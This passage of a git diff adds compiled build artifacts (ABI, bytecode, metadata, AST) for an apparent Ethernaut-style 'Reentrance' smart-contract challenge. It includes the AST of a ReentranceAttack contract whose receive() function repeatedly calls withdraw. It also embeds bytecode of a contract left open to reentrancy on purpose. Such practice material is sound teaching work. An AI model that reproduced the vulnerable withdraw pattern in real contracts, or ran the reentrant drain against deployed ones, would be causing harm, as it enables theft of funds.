teral","src":"769:1:55","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"}],"expression":{"id":49763,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49713,"src":"753:6:55","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}},"id":49765,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"760:8:55","memberName":"withdraw","nodeType":"MemberAccess","referencedDeclaration":49709,"src":"753:15:55","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256) external"}},"id":49767,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"753:18:55","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49768,"nodeType":"ExpressionStatement","src":"753:18:55"}]},"implemented":true,"kind":"receive","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":49761,"nodeType":"ParameterList","parameters":[],"src":"723:2:55"},"returnParameters":{"id":49762,"nodeType":"ParameterList","parameters":[],"src":"743:0:55"},"scope":49771,"stateMutability":"payable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"ReentranceAttack","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[49771],"name":"ReentranceAttack","nameLocation":"338:16:55","scope":49772,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":55} \ No newline at end of file diff --git a/contracts/out/ReentranceFactory.sol/ReentranceFactory.json b/contracts/out/ReentranceFactory.sol/ReentranceFactory.json new file mode 100644 index 000000000..bed27964f --- /dev/null +++ b/contracts/out/ReentranceFactory.sol/ReentranceFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"receive","stateMutability":"payable"},{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"insertCoin","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405266038d7ea4c6800060015534801561001b57600080fd5b506000610026610075565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350610079565b3390565b610764806100886000396000f3fe6080604052600436106100695760003560e01c806390696af91161004357806390696af9146100e3578063d38def5b1461010a578063f2fde38b1461015957610070565b8063715018a6146100755780637726f7761461008c5780638da5cb5b146100ce57610070565b3661007057005b600080fd5b34801561008157600080fd5b5061008a61018c565b005b6100b2600480360360208110156100a257600080fd5b50356001600160a01b0316610257565b604080516001600160a01b039092168252519081900360200190f35b3480156100da57600080fd5b506100b26102e2565b3480156100ef57600080fd5b506100f86102f1565b60408051918252519081900360200190f35b34801561011657600080fd5b506101456004803603604081101561012d57600080fd5b506001600160a01b03813581169160200135166102f7565b604080519115158252519081900360200190f35b34801561016557600080fd5b5061008a6004803603602081101561017c57600080fd5b50356001600160a01b0316610306565b610194610427565b6001600160a01b03166101a56102e2565b6001600160a01b031614610200576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600060015434101561026857600080fd5b60006040516102769061042b565b604051809103906000f080158015610292573d6000803e3d6000fd5b5090506001544710156102a457600080fd5b6001546040516001600160a01b0383169180156108fc02916000818181858888f193505050501580156102db573d6000803e3d6000fd5b5092915050565b6000546001600160a01b031690565b60015481565b506001600160a01b0316311590565b61030e610427565b6001600160a01b031661031f6102e2565b6001600160a01b03161461037a576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166103bf5760405162461bcd60e51b81526004018080602001828103825260268152602001806107096026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b3390565b6102d0806104398339019056fe608060405234801561001057600080fd5b506102b0806100206000396000f3fe6080604052600436106100425760003560e01c8062362a951461004e57806327e235e3146100765780632e1a7d4d146100bb57806370a08231146100e557610049565b3661004957005b600080fd5b6100746004803603602081101561006457600080fd5b50356001600160a01b0316610118565b005b34801561008257600080fd5b506100a96004803603602081101561009957600080fd5b50356001600160a01b0316610157565b60408051918252519081900360200190f35b3480156100c757600080fd5b50610074600480360360208110156100de57600080fd5b5035610169565b3480156100f157600080fd5b506100a96004803603602081101561010857600080fd5b50356001600160a01b03166101e4565b6001600160a01b03811660009081526020819052604090205461013b90346101ff565b6001600160a01b03909116600090815260208190526040902055565b60006020819052908152604090205481565b3360009081526020819052604090205481116101e157604051600090339083908381818185875af1925050503d80600081146101c1576040519150601f19603f3d011682016040523d82523d6000602084013e6101c6565b606091505b50503360009081526020819052604090208054849003905550505b50565b6001600160a01b031660009081526020819052604090205490565b60008282018381101561027357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fea26469706673582212202ce1d8ed936c90fc1b735abfb3807335b7204c45a488b8ed3ab3fb383ebcb76464736f6c634300060c00334f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220454caee85534b721eca92fb8a2e4064d07f8beea229a02ecbbb50adabd7180a864736f6c634300060c0033","sourceMap":"116:689:11:-:0;;;186:11;158:39;;116:689;;;;;;;;;-1:-1:-1;884:17:0;904:12;:10;:12::i;:::-;926:6;:18;;-1:-1:-1;;;;;;926:18:0;-1:-1:-1;;;;;926:18:0;;;;;;;959:43;;926:18;;-1:-1:-1;926:18:0;959:43;;926:6;;959:43;850:159;116:689:11;;598:104:4;685:10;598:104;:::o;116:689:11:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x6080604052600436106100695760003560e01c806390696af91161004357806390696af9146100e3578063d38def5b1461010a578063f2fde38b1461015957610070565b8063715018a6146100755780637726f7761461008c5780638da5cb5b146100ce57610070565b3661007057005b600080fd5b34801561008157600080fd5b5061008a61018c565b005b6100b2600480360360208110156100a257600080fd5b50356001600160a01b0316610257565b604080516001600160a01b039092168252519081900360200190f35b3480156100da57600080fd5b506100b26102e2565b3480156100ef57600080fd5b506100f86102f1565b60408051918252519081900360200190f35b34801561011657600080fd5b506101456004803603604081101561012d57600080fd5b506001600160a01b03813581169160200135166102f7565b604080519115158252519081900360200190f35b34801561016557600080fd5b5061008a6004803603602081101561017c57600080fd5b50356001600160a01b0316610306565b610194610427565b6001600160a01b03166101a56102e2565b6001600160a01b031614610200576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600060015434101561026857600080fd5b60006040516102769061042b565b604051809103906000f080158015610292573d6000803e3d6000fd5b5090506001544710156102a457600080fd5b6001546040516001600160a01b0383169180156108fc02916000818181858888f193505050501580156102db573d6000803e3d6000fd5b5092915050565b6000546001600160a01b031690565b60015481565b506001600160a01b0316311590565b61030e610427565b6001600160a01b031661031f6102e2565b6001600160a01b03161461037a576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166103bf5760405162461bcd60e51b81526004018080602001828103825260268152602001806107096026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b3390565b6102d0806104398339019056fe608060405234801561001057600080fd5b506102b0806100206000396000f3fe6080604052600436106100425760003560e01c8062362a951461004e57806327e235e3146100765780632e1a7d4d146100bb57806370a08231146100e557610049565b3661004957005b600080fd5b6100746004803603602081101561006457600080fd5b50356001600160a01b0316610118565b005b34801561008257600080fd5b506100a96004803603602081101561009957600080fd5b50356001600160a01b0316610157565b60408051918252519081900360200190f35b3480156100c757600080fd5b50610074600480360360208110156100de57600080fd5b5035610169565b3480156100f157600080fd5b506100a96004803603602081101561010857600080fd5b50356001600160a01b03166101e4565b6001600160a01b03811660009081526020819052604090205461013b90346101ff565b6001600160a01b03909116600090815260208190526040902055565b60006020819052908152604090205481565b3360009081526020819052604090205481116101e157604051600090339083908381818185875af1925050503d80600081146101c1576040519150601f19603f3d011682016040523d82523d6000602084013e6101c6565b606091505b50503360009081526020819052604090208054849003905550505b50565b6001600160a01b031660009081526020819052604090205490565b60008282018381101561027357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fea26469706673582212202ce1d8ed936c90fc1b735abfb3807335b7204c45a488b8ed3ab3fb383ebcb76464736f6c634300060c00334f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220454caee85534b721eca92fb8a2e4064d07f8beea229a02ecbbb50adabd7180a864736f6c634300060c0033","sourceMap":"116:689:11:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1717:145:0;;;;;;;;;;;;;:::i;:::-;;204:333:11;;;;;;;;;;;;;;;;-1:-1:-1;204:333:11;-1:-1:-1;;;;;204:333:11;;:::i;:::-;;;;-1:-1:-1;;;;;204:333:11;;;;;;;;;;;;;;1085:85:0;;;;;;;;;;;;;:::i;158:39:11:-;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;543:225;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;543:225:11;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;2011:240:0;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;2011:240:0;-1:-1:-1;;;;;2011:240:0;;:::i;1717:145::-;1308:12;:10;:12::i;:::-;-1:-1:-1;;;;;1297:23:0;:7;:5;:7::i;:::-;-1:-1:-1;;;;;1297:23:0;;1289:68;;;;;-1:-1:-1;;;1289:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1823:1:::1;1807:6:::0;;1786:40:::1;::::0;-1:-1:-1;;;;;1807:6:0;;::::1;::::0;1786:40:::1;::::0;1823:1;;1786:40:::1;1853:1;1836:19:::0;;-1:-1:-1;;1836:19:0::1;::::0;;1717:145::o;204:333:11:-;278:7;335:10;;322:9;:23;;314:32;;;;;;356:19;378:16;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;356:38;;437:10;;412:21;:35;;404:44;;;;;;485:10;;458:38;;-1:-1:-1;;;;;458:26:11;;;:38;;;;;;;;;485:10;458:26;:38;;;;;;;;;;;;;;;;;;;;-1:-1:-1;521:8:11;204:333;-1:-1:-1;;204:333:11:o;1085:85:0:-;1131:7;1157:6;-1:-1:-1;;;;;1157:6:0;1085:85;:::o;158:39:11:-;;;;:::o;543:225::-;-1:-1:-1;;;;;;731:25:11;;:30;;543:225::o;2011:240:0:-;1308:12;:10;:12::i;:::-;-1:-1:-1;;;;;1297:23:0;:7;:5;:7::i;:::-;-1:-1:-1;;;;;1297:23:0;;1289:68;;;;;-1:-1:-1;;;1289:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2099:22:0;::::1;2091:73;;;;-1:-1:-1::0;;;2091:73:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2200:6;::::0;;2179:38:::1;::::0;-1:-1:-1;;;;;2179:38:0;;::::1;::::0;2200:6;::::1;::::0;2179:38:::1;::::0;::::1;2227:6;:17:::0;;-1:-1:-1;;2227:17:0::1;-1:-1:-1::0;;;;;2227:17:0;;;::::1;::::0;;;::::1;::::0;;2011:240::o;598:104:4:-;685:10;598:104;:::o;-1:-1:-1:-;;;;;;;;:::o","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","insertCoin()":"90696af9","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.6.12+commit.27d51765\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"insertCoin\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"stateMutability\":\"payable\",\"type\":\"receive\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/ReentranceFactory.sol\":\"ReentranceFactory\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-06/contracts/access/Ownable.sol\":{\"keccak256\":\"0x15e2d5bd4c28a88548074c54d220e8086f638a71ed07e6b3ba5a70066fcf458d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://90faf5851c02f9bd42c5bfb54d4f0421a2612f50ab80b2c4fa24fa3792071cc2\",\"dweb:/ipfs/QmRGM4F2PcGVF85aTfaA9YBhCHHDqrMhRjyp6fGeBTtirb\"]},\"lib/openzeppelin-contracts-06/contracts/math/SafeMath.sol\":{\"keccak256\":\"0xcc78a17dd88fa5a2edc60c8489e2f405c0913b377216a5b26b35656b2d0dab52\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://526dc85e1f9b9b45830e202568d267d93dde7a4fcccf4ad7798dadcd92304d3c\",\"dweb:/ipfs/QmaoXMB972J3cSDLtBq3xBo4jLwqD2uzXTwujtSPqkYVhR\"]},\"lib/openzeppelin-contracts-06/contracts/utils/Context.sol\":{\"keccak256\":\"0x8d3cb350f04ff49cfb10aef08d87f19dcbaecc8027b0bed12f3275cd12f38cf0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ded47ec7c96750f9bd04bbbc84f659992d4ba901cb7b532a52cd468272cf378f\",\"dweb:/ipfs/QmfBrGtQP7rZEqEg6Wz6jh2N2Kukpj1z5v3CGWmAqrzm96\"]},\"src/levels/Reentrance.sol\":{\"keccak256\":\"0x99686dd85ef51d4561f5d40d394a59e8d6a20e44e2390bc981ee5b34e86b7eb3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6beabb95a9ea91e5b2d5c49755211d995006a0faacfc2abcc3f87ee20ac3db9b\",\"dweb:/ipfs/QmXndG9912vkRohE1ZGz5To6W4DbDXUYpZ15M3wkWfmfBY\"]},\"src/levels/ReentranceFactory.sol\":{\"keccak256\":\"0x10bbf0d13b1daf2c4b27d1dd66a44ca7f20d8c2263d8c3afe6baac6e870e66b0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://85515129607666450ceb99915aa451d920658f71daa80d06d769be4e2153a904\",\"dweb:/ipfs/QmZY6yHRSHhpyvEmqGD9Ndh3CqR7mcGMgHUEShCRXDiY1a\"]},\"src/levels/base/Level-06.sol\":{\"keccak256\":\"0x5f361ed66f99e554235b246964ec190b7605946d4bdda9d1e781e195cd7d4042\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://dd61d1b56e74f01def821077298e041264471599a5f4fe36cc1c32ee5e21b79f\",\"dweb:/ipfs/QmSTF94B2Kxro444irxu9Z5Hw518AZ98QiTmVG9j6W8s4Z\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.6.12+commit.27d51765"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"insertCoin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"payable","type":"receive"}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/ReentranceFactory.sol":"ReentranceFactory"},"evmVersion":"istanbul","libraries":{}},"sources":{"lib/openzeppelin-contracts-06/contracts/access/Ownable.sol":{"keccak256":"0x15e2d5bd4c28a88548074c54d220e8086f638a71ed07e6b3ba5a70066fcf458d","urls":["bzz-raw://90faf5851c02f9bd42c5bfb54d4f0421a2612f50ab80b2c4fa24fa3792071cc2","dweb:/ipfs/QmRGM4F2PcGVF85aTfaA9YBhCHHDqrMhRjyp6fGeBTtirb"],"license":"MIT"},"lib/openzeppelin-contracts-06/contracts/math/SafeMath.sol":{"keccak256":"0xcc78a17dd88fa5a2edc60c8489e2f405c0913b377216a5b26b35656b2d0dab52","urls":["bzz-raw://526dc85e1f9b9b45830e202568d267d93dde7a4fcccf4ad7798dadcd92304d3c","dweb:/ipfs/QmaoXMB972J3cSDLtBq3xBo4jLwqD2uzXTwujtSPqkYVhR"],"license":"MIT"},"lib/openzeppelin-contracts-06/contracts/utils/Context.sol":{"keccak256":"0x8d3cb350f04ff49cfb10aef08d87f19dcbaecc8027b0bed12f3275cd12f38cf0","urls":["bzz-raw://ded47ec7c96750f9bd04bbbc84f659992d4ba901cb7b532a52cd468272cf378f","dweb:/ipfs/QmfBrGtQP7rZEqEg6Wz6jh2N2Kukpj1z5v3CGWmAqrzm96"],"license":"MIT"},"src/levels/Reentrance.sol":{"keccak256":"0x99686dd85ef51d4561f5d40d394a59e8d6a20e44e2390bc981ee5b34e86b7eb3","urls":["bzz-raw://6beabb95a9ea91e5b2d5c49755211d995006a0faacfc2abcc3f87ee20ac3db9b","dweb:/ipfs/QmXndG9912vkRohE1ZGz5To6W4DbDXUYpZ15M3wkWfmfBY"],"license":"MIT"},"src/levels/ReentranceFactory.sol":{"keccak256":"0x10bbf0d13b1daf2c4b27d1dd66a44ca7f20d8c2263d8c3afe6baac6e870e66b0","urls":["bzz-raw://85515129607666450ceb99915aa451d920658f71daa80d06d769be4e2153a904","dweb:/ipfs/QmZY6yHRSHhpyvEmqGD9Ndh3CqR7mcGMgHUEShCRXDiY1a"],"license":"MIT"},"src/levels/base/Level-06.sol":{"keccak256":"0x5f361ed66f99e554235b246964ec190b7605946d4bdda9d1e781e195cd7d4042","urls":["bzz-raw://dd61d1b56e74f01def821077298e041264471599a5f4fe36cc1c32ee5e21b79f","dweb:/ipfs/QmSTF94B2Kxro444irxu9Z5Hw518AZ98QiTmVG9j6W8s4Z"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/ReentranceFactory.sol","id":1582,"exportedSymbols":{"ReentranceFactory":[1581]},"nodeType":"SourceUnit","src":"33:773:11","nodes":[{"id":1495,"nodeType":"PragmaDirective","src":"33:23:11","nodes":[],"literals":["solidity","^","0.6",".0"]},{"id":1496,"nodeType":"ImportDirective","src":"58:29:11","nodes":[],"absolutePath":"src/levels/base/Level-06.sol","file":"./base/Level-06.sol","scope":1582,"sourceUnit":1741,"symbolAliases":[],"unitAlias":""},{"id":1497,"nodeType":"ImportDirective","src":"88:26:11","nodes":[],"absolutePath":"src/levels/Reentrance.sol","file":"./Reentrance.sol","scope":1582,"sourceUnit":1494,"symbolAliases":[],"unitAlias":""},{"id":1581,"nodeType":"ContractDefinition","src":"116:689:11","nodes":[{"id":1502,"nodeType":"VariableDeclaration","src":"158:39:11","nodes":[],"constant":false,"functionSelector":"90696af9","mutability":"mutable","name":"insertCoin","overrides":null,"scope":1581,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1500,"name":"uint256","nodeType":"ElementaryTypeName","src":"158:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":{"argumentTypes":null,"hexValue":"302e303031","id":1501,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"186:11:11","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"},"value":"0.001"},"visibility":"public"},{"id":1549,"nodeType":"FunctionDefinition","src":"204:333:11","nodes":[],"body":{"id":1548,"nodeType":"Block","src":"287:250:11","nodes":[],"statements":[{"expression":{"argumentTypes":null,"id":1510,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1504,"src":"297:7:11","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":1511,"nodeType":"ExpressionStatement","src":"297:7:11"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":1516,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"expression":{"argumentTypes":null,"id":1513,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"322:3:11","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":1514,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"value","nodeType":"MemberAccess","referencedDeclaration":null,"src":"322:9:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"argumentTypes":null,"id":1515,"name":"insertCoin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1502,"src":"335:10:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"322:23:11","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":1512,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"314:7:11","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":1517,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"314:32:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1518,"nodeType":"ExpressionStatement","src":"314:32:11"},{"assignments":[1520],"declarations":[{"constant":false,"id":1520,"mutability":"mutable","name":"instance","nodeType":"VariableDeclaration","overrides":null,"scope":1548,"src":"356:19:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$1493","typeString":"contract Reentrance"},"typeName":{"contractScope":null,"id":1519,"name":"Reentrance","nodeType":"UserDefinedTypeName","referencedDeclaration":1493,"src":"356:10:11","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$1493","typeString":"contract Reentrance"}},"value":null,"visibility":"internal"}],"id":1524,"initialValue":{"argumentTypes":null,"arguments":[],"expression":{"argumentTypes":[],"id":1522,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"378:14:11","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Reentrance_$1493_$","typeString":"function () returns (contract Reentrance)"},"typeName":{"contractScope":null,"id":1521,"name":"Reentrance","nodeType":"UserDefinedTypeName","referencedDeclaration":1493,"src":"382:10:11","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$1493","typeString":"contract Reentrance"}}},"id":1523,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"378:16:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$1493","typeString":"contract 